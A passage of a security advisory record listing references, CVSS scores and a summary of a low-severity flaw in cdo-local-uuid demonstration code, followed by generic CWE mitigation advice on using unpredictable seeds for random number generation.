"url": "https://github.com/casework/CASE-Utilities-Python/commit/1cccae8eb3cf94b3a28f6490efa0fbf5c82ebd6b"
},
{
"type": "WEB",
"url": "https://github.com/casework/CASE-Utilities-Python/commit/00864cd12de7c50d882dd1a74915d32e939c25f9"
},
{
"type": "WEB",
"url": "https://github.com/Cyber-Domain-Ontology/CDO-Utility-Local-UUID/commit/9e78f7cb1075728d0aafc918514f32a1392cd235"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/case-utils/PYSEC-2024-5.yaml"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/cdo-local-uuid/PYSEC-2024-6.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/Cyber-Domain-Ontology/CDO-Utility-Local-UUID"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:U",
"type": "CVSS_V4"
}
],
"summary": "cdo-local-uuid vulnerable to insertion of artifact derived from developer\u0027s Present Working Directory into demonstration code"
}
Mitigation
Use non-predictable inputs for seed generation.
Mitigation MIT-2
Strategy: Libraries or Frameworks
Use products or modules that conform to FIPS 140-2 [REF-267] to avoid obvious entropy problems, or use the more recent FIPS 140-3 [REF-1192] if possible.
Mitigation MIT-50
Use a PRNG that periodically re-seeds itself using input from high-quality sources, such as hardware devices with high entropy. However, do not re-seed too frequently, or else the entropy source might block.
No CAPEC attack patterns related to this CWE.